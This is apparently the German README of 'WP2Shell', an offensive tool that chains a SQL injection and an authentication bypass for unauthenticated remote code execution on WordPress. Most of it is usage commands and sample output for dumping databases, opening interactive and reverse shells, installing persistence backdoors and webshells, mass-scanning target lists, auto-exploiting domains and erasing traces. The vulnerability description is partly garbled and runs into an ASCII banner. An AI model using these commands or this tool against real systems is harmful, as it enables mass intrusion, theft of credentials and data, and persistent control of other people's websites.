
Modulares WordPress-Pre-Auth-Exploit-Framework, das SQL-Injection und Authentifizierungsumgehung kombiniert, um Remote-Codeausführung, interaktive Shells, Backdoors und Massen-Schwachstellenscanning zu ermöglichen.
CVE-2026-63030 + CVE-2026-60137
Version: 4.0.0
Autor: G0D150NE
WP2Shell ist ein Full-Chain-Exploit-Tool für die Remote-Codeausführung bei WordPress ohne vorherige Authentifizierung. Es kombiniert zwei kritische Schwachstellen:
Dieses Tool ermöglicht die vollständige Kompromittierung verwundbarer WordPress-Installationen ohne jegliche Authentifizierung - von der Erkennung bis hin zu vollständiger RCE und Persistenz.
# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell
# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py
python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]
python3 wp2shell.py check https://target.com
python3 wp2shell.py check https://target.com --confirm-timing --sleep 5
Basis-Fingerprint:
python3 wp2shell.py read https://target.com
Benutzer extrahieren:
python3 wp2shell.py read https://target.com --preset users
Benutzerdefinierte Abfrage:
python3 wp2shell.py read https://target.com --query "SELECT @@version"
Gesamte Datenbank dumpen:
python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096
Basis-Exploit:
python3 wp2shell.py exploit https://target.com
Exploit mit interaktiver Shell:
python3 wp2shell.py exploit https://target.com --interactive
Exploit mit Backdoor-Installation:
python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444
Exploit mit Datenbank-Dump:
python3 wp2shell.py exploit https://target.com --dumpdb
Exploit mit Cleanup (Spuren entfernen):
python3 wp2shell.py exploit https://target.com --cleanup
python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive
python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv
python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100
Dabei wird Folgendes durchgeführt:
Nach der Ausnutzung erhalten Sie eine vollständige interaktive Shell:
python3 wp2shell.py exploit https://target.com -i
[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit
SQL-Injection (CVE-2026-63030)
/wp-json/batch/v1 aufauthor_exclude ist anfällig für zeitbasierte Blind-SQLiAuthentifizierungsumgehung (CVE-2026-60137)
/_embed-Parameter░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░ ░▒▓█▓▒░
CVE-2026-63030 + CVE-2026-60137
WordPress Pre-Auth RCE [v4.0.0]
+ G0D150NE
[1/7] Reconnaissance
Target: https://target.com
WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)
[2/7] Enumerating target
[+] Discovered table prefix: wp_
[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/
[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered
[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]
[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain
[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
uid: www-data
[+] ========================================================
[+] TARGET COMPROMISED
[+] Admin: wp_service_a1b2 / G7hK9xQw2p$L!mN
[+] Shell: https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================
Dieses Tool dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Die Verwendung gegen Systeme ohne ausdrückliche Genehmigung ist illegal. Die Autoren übernehmen keinerlei Verantwortung für Missbrauch.
Einen Fehler gefunden? Möchten Sie das Tool verbessern? Pull-Requests sind willkommen!
MIT-Lizenz - Details finden Sie in der LICENSE-Datei.
| Befehl | Beschreibung |
|---|
check | Zerstörungsfreie Bestätigung von Schwachstellen |
read | Daten per SQL-Injection extrahieren |
exploit | Vollständige Pre-Auth-RCE-Kette |
shell | Webshell mit vorhandenen Anmeldedaten bereitstellen |
masscan | Mehrere Ziele massenhaft scannen |
autopwn | Automatische Erkennung → Scan → Exploit |
| Option | Beschreibung |
|---|
--timeout | HTTP-Timeout in Sekunden (Standard: 30) |
--proxies | Kommagetrennte Proxy-Liste (z. B. http://127.0.0.1:8080) |
--stealth | Stealth-Modus mit zufälligen Verzögerungen aktivieren |
-v, --verbose | Debug-Ausgabe aktivieren |
-q, --quiet | Banner- und Informationsmeldungen unterdrücken |
| Option | Beschreibung |
|---|
--prefix | Tabellenpräfix (Standard: wp_) |
--auto-prefix | Tabellenpräfix automatisch ermitteln |
--max-length | Maximale Zeichen pro Wert (Standard: 128) |
--technique | Extraktionstechnik: auto/union/error/blind |
--preset | Datenvoreinstellung: fingerprint/users/dumpall |
--query | Beliebiger SQL-Ausdruck zum Extrahieren |
| Option | Beschreibung |
|---|
--prefix | Tabellenpräfix (Standard: wp_) |
--no-discover | Automatische Erkennung überspringen, Standardwerte verwenden |
-i, --interactive | Nach der Ausnutzung eine Shell öffnen |
-c, --command | Nach der Ausnutzung einen einzelnen Befehl ausführen |
--backdoor | Persistenz-Backdoor installieren |
--lhost | LHOST für Reverse-Shell (Standard: 10.0.0.1) |
--lport | LPORT für Reverse-Shell (Standard: 4444) |
--dumpdb | Datenbank nach der Ausnutzung dumpen |
--cleanup | Erstellten Benutzer und Webshell beim Beenden löschen |
| Version | Status |
|---|
| 6.9.0 | ✅ Verwundbar |
| 6.9.1 | ✅ Verwundbar |
| 6.9.2 | ✅ Verwundbar |
| 6.9.3 | ✅ Verwundbar |
| 6.9.4 | ✅ Verwundbar |
| 7.0.0 | ✅ Verwundbar |
| 7.0.1 | ✅ Verwundbar |
| ≥ 7.0.2 | ❌ Behoben |
| Technik | Geschwindigkeit | Datengröße | Anforderungen |
|---|
| UNION | ⚡ Sehr schnell | Unbegrenzt | Ziel darf UNION nicht filtern |
| Error | 🚀 Schnell | ~30 Zeichen/Anfrage | Ziel muss Fehlermeldungen ausgeben |
| Blind | 🐢 Langsam | Unbegrenzt | Boolesches Orakel verfügbar |